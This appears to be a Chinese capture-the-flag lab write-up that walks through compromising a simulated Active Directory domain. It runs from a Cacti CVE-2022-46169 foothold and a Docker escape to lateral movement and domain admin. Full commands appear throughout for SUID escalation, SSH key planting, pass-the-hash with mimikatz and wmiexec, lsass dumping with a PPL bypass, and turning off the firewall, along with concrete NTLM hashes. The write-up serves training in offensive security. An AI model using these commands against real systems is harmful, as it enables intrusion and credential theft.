介绍
本环境是xbitsplatform靶场平台的基础环境之一,主要考察横向移动的知识点。从 linux 外围打点开始,经历几次横向移动后最后获得域管权限。目前环境作为公开挑战已上线 xbitsplatform 靶场平台。
知识点
CVE-2022-46169
suid 提权
docker 特权模式逃逸
域内 linux 信息搜集
linux 横向移动
域内低权限定位个人机
本地账户横向移动
域内横向移动
wmi 端口受限绕过
内存保护 PPL 绕过
打点
扫描发现 cacti,版本为 1.2.22,疑似存在 CVE-2022-46169
成功利用并写入一个 webshell
没有开启 disable_function,gpc 等,直接执行命令就好:
发现存在 dockerenv 文件,应该是 docker。经过一番信息搜集发现没有可以拓展的地方。
docker 逃逸
查看/dev 目录发现有很多文件:
说明该 docker 是特权模式启动,存在逃逸的可能。
直接尝试挂载物理机磁盘,先查看以下磁盘:
显示权限不足,想办法先提权。
查找 suid 文件:
find / -user root -perm -4000 -exec ls -ldb {} \;
有比较特殊的文件 find:
看一下怎么利用:https://gtfobins.github.io/gtfobins/find/
执行:
find . -exec /bin/sh -p -c whoami \; -quit
成功提权:
通过 root 权限查看挂在磁盘:
find . -exec /bin/sh -p -c "mkdir /mnt/pwn" \; -quit
find . -exec /bin/sh -p -c mount /dev/dm-0 /mnt/pwn\; -quit
会报错:
这里的 root 权限是有限制的。但是我们在/mnt 目录下发现一个已经挂载目录,并且可以读取:
find . -exec /bin/sh -p -c 'ls /mnt/cacti' \; -quit
看起来就是物理机的磁盘,那么问题就转换成可以读写文件获取该 linux 权限了。
这里采用写公钥的办法,首先生成一对公私钥:
编码后写入 ssh 配置文件:
find . -exec /bin/sh -p -c 'echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBQkpRQUFBUUVBcDJTMHB4K012Y2F4UlZsZ0c1Yk5jb2M0RW1QZHd3dEhWT2h4UW5SMWYxVDUwUFArU0wzV1JDSG5HeXVnVkwweVJNak9pVHJLVVBmOGZkT2tqVDh5T1k1dndXSmVLM1ZKOXd4Zkx6UHZycmM5SkJTWVhwY1Z1eS9oMU5id2N6bGt5d2xNVjAxVytzUG4vNGxCZnlHOGtBcWUzMnVVdEp4UU9yVndlOW1Xak1IRzN3eHVOUk4rR3REK3EvRGJSZ0lMUjlTSWtWOG9hMzdONENaZVRXdkJ3RS9RWGZ3UFh5RlJVTVlKNkUxcXFHUVpadmhSMlhlWGpRTWdtODlEZVZFbVFOcnVVYzA4MWpkRnN3Mm9lUG1qbCtZaTkrZmdnSWdFSnlqUTdxc21RczFqUlNZclNkWnZnaEVILzB2Zm5VMGdYRUN5M0hTZm5Jd2RTcmFkeDNWcXZ3PT0gcnNhLWtleS0yMDIzMDQyNg== | base64 -d > /mnt/cacti/root/.ssh/authorized_keys' \; -quit
选择公钥后登录:
登录成功:
linux 域信息搜集
查看 dns,显然存在域,域控为 10.0.2.100:
ping 一下,ttl 为 128,是 windows 域:
查看具体的 ldap 配置,域为 move.lab:
搜索 openldap 及 web 等目录寻找和域相关的信息:
grep -rn move.lab /etc
grep -rn move.lab /var/www/html
几个文件看下来没有域凭据。但我们可以获得几个一些有效信息:
域名为 move.lab,域控机器 ip 为 10.0.0.100,存在域账户 linux_ldap 并可以登录当前的 linux。
如果我们可以拿到 linux_ldap 这个用户的身份可以先将域的 ldap 信息导出,在/tmp 目录下发现了 linux_ldap 用户缓存的票据:
设置环境变量为这个票据:
[root@cacti tmp]# export KRB5CCNAME=/tmp/krb5cc_1680801105
使用 ldapsearch 导出信息
ldapsearch -b "dc=move,dc=lab" -H ldap://10.0.2.100
显示认证失败:
看来这些工具并不支持票据认证,使用 impacet 工具尝试,这里直接使用打包好的 elf 程序:
[root@cacti tmp]# ./GetADUsers_linux_x86_64 move.lab/linux_ldap -k -no-pass -all
显示 ticket 暂时过期了
通过一番查询发现可以通过一些其他的方式找到域凭据,比如从内存获取 linux_ldap 的票据,甚至可以获取到 linux 机器的机器 hash。尝试从从 krb5.keytab 获取机器 hash:
这样我们就可以用这个机器的身份来搜集 ldap 信息:
[root@cacti tmp]# ./GetADUsers_linux_x86_64 move.lab/cacti\$ -hashes 7eb5e976f35341c3a9aa667a7a701ec0:7eb5e976f35341c3a9aa667a7a701ec0 -all
可以成功查询:
但 impacket 对于 ldap 信息搜集的不全,只有枚举用户的功能。现在就转换成有一个机器和机器 hash(域凭据)的情况下如何获取 ldap 信息了。
本地 pth:
sekurlsa::pth /domain:move.lab /dc:dc.move.lab /user:cacti$ /ntlm:7eb5e976f35341c3a9aa667a7a701ec0
使用 Adfind 导出 ldap 信息:
定位域用户机器
目前可以使用 linux_ldap 的身份做操作,查看 linux_ldap 用户信息:
dn:CN=linux_ldap,CN=Users,DC=move,DC=lab
>objectClass: top
>objectClass: person
>objectClass: organizationalPerson
>objectClass: user
>cn: linux_ldap
>distinguishedName: CN=linux_ldap,CN=Users,DC=move,DC=lab
>instanceType: 4
>whenCreated: 20230422140814.0Z
>whenChanged: 20230426144030.0Z
>uSNCreated: 12838
>memberOf: CN=IT admins,CN=Users,DC=move,DC=lab
>uSNChanged: 13727
>name: linux_ldap
>objectguid: {B1979F8F-42A9-4656-8F85-67827C2A8239}
>userAccountControl: 66048
>badPwdCount: 2
>codePage: 0
>countryCode: 0
>badPasswordTime: 133269901580757155
>lastLogoff: 0
>lastLogon: 133268853178838661
>pwdLastSet: 133266460945786222
>primaryGroupID: 513
>objectsid: S-1-5-21-1540577040-1432127714-718651653-1105
>accountExpires: 0
>logonCount: 3
>sAMAccountName: linux_ldap
>sAMAccountType: 805306368
>objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=move,DC=lab
>dSCorePropagationData: 16010101000000.0Z
>lastLogonTimestamp: 133266470902405676
linux_ldap 为 IT admins 组成员,IT admins 不属于任何特权组。出现这种情况一般是 IT admins 为一些机器的本地管理员组成员,方便管理员管理机器,但在 AD 上没有特权。
我们需要知道 linux_ldap 能登哪台机器,最暴力的方式是直接进行认证,如 rdp/wmi/smb 等。这样在很多有防护的环境是比较危险的,会直接提示权限不足。
我们可以使用一些列 windows API 远程枚举出机器本地组的成员,效果和在机器上执行"net localgroup administrators"类似。
比如:https://github.com/SkewwG/domainTools/tree/master/NetLocalGroupGetMembers
好处是只需要能建立 smb 连接就可以使用,默认情况下普通域账户其实是可以登录任何一台域机器的,但不能通过 rdp 这样的方式远程登录。net use 这种可以认证通过,但进行 dir c:\这样的操作会报 access deny。
比如:
用这系列 api 可以避免触发 access deny,降低风险。
pth 后成功枚举出了一些机器的本地管理组:
发现 IT admins 是 server01(10.0.2.199)的本地管理员组成员,我们可以通过已有的 linux_ldap 控制这台机器。
横向移动
过了一段时间我们看到 linux_ldap 用户有登录行为,
票据应该有效了,直接使用 impacket 的工具 wmiexec 横向:
export KRB5CCNAME=/tmp/krb5cc_1680801105
./wmiexec_linux_x86_64 move.lab/linux_ldap@10.0.2.199 -k -no-pass -dc-ip 10.0.2.100
报错:
票据认证需要使用 FQDN 或者 NETbiosNAME:
export KRB5CCNAME=/tmp/krb5cc_1680801105
./wmiexec_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k -no-pass -dc-ip 10.0.2.100
成功:
抓内存发现没有域凭据,抓本地注册表,这里因为目标是 windows 系统,存在编码的问题,部分命令回显有问题,但可以正常执行:
使用 smbclient 获取文件:
./smbclient_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k -no-pass -dc-ip 10.0.2.100
使用 mimikatz 解出注册表中的 hash:
wmi 横向移动
现在有本地 administrator 账户的 hash,实战中可能有很多情况本地 administrator 账户的密码是一样的,比如虚拟机克隆、统一装机、组策略等情况。计划使用本地 administrator 进行横向移动。
查看 ldap 信息发现还有一台 windows server02:
尝试横向移动:
./wmiexec_linux_x86_64 Administrator@server02.move.lab -hashes 83cb8d375287916f79bbf0d29accc893:83cb8d375287916f79bbf0d29accc893 -no-pass -dc-ip 10.0.2.100
发现不成功,一直卡在界面,疑似端口不通。查看端口开放情况:
发现只开通了 135,我们知道一般的 wmi 横向移动需要结合 135 端口的 dcom 和 445 端口的 smb 服务,wmiexec 的源码也验证了这一点:
现在面临的问题就是在仅开放 135 端口的情况下如何进行横向移动。这里使用 https://github.com/QAX-A-Team/sharpwmi
该工具主要是通过 rpc 协议操作注册表,将命令执行的结果写入注册表,之后读取注册表来代替使用 smb 的形式拿到回显:
ExecCmd 实现远程调用 wmi:
该工具支持 pth,需要和 mimikatz 结合使用,首先本机进行 pth:
privilege::debug
sekurlsa::pth /user:administrator /domain:server02 /ntlm:83cb8d375287916f79bbf0d29accc893
成功执行:
抓取内存
查看 lsass 的 pid
使用 Minudump 函数抓取内存:
powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump 580 C:\windows\temp\lsass.dmp full
其中","符号影响了命令执行:
可以通过执行 bat 的形式绕过。使用 sharpwmi 自带的上传功能上传一个 bat:
sharpwmi.exe pth 10.0.2.105 upload 1.bat c:\windows\temp\1.bat
不报错但也没有文件生成:
换一种 dump 方式,上传 LOLBins-procdump64.exe,上传时发现了 sharpwmi 上传有个 bug:
传进去的是上一次上传的结果。可以对工具进行修改,这里笔者怕麻烦,使用远程下载的方式下载到机器上:
执行依旧存在问题,看起来无法开启 lsass 进程,这种情况有几种可能,一是当前用户可能没有 SeDebugPrivilege 权限,另外一种可能是被杀软拦截了,其次就是可能开启了 PPL 保护机制。
首先确认存在 SeDebugPrivilege 权限:
其次检查进程及驱动,未发现防护软件。
查询注册表,果然开启了 PPL:
绕过 ppl
这里直接尝试之前的文章《域渗透-一文了解 lsass 内存转储攻防技术》中的用户态技术,使用 https://github.com/last-byte/ RIPPL 工具:
sharpwmi.exe pth 10.0.2.105 cmd "c:\windows\temp\RIPPL.exe -D -f lsass.exe c:\windows\temp\lsass.dmp"
成功导出:
怎么拿 lsass 到本地是个问题,这里直接关闭该机器的防火墙,通过 smb 获取:
sharpwmi.exe pth 10.0.2.105 cmd "netsh advfirewall set domainprofile state off"
copy /z \\10.0.2.105\c$\windows\temp\lsass.dmp
通过 mimikatz 解析 dump 文件:
获得 hash:
Administrator b9f21293575140357afceead26c3397b
pth 后读取 flag:
总结:
本环境主要模拟了在实战环境的渗透测试流程,通过web打点进入主机,检测为Docker环境,之后逃逸发现在Linux域中,之后进行横向移动及一系列攻击手法,最后拿到flag,环境目前已公开在7bits攻防对抗平台(xbitsplatform)。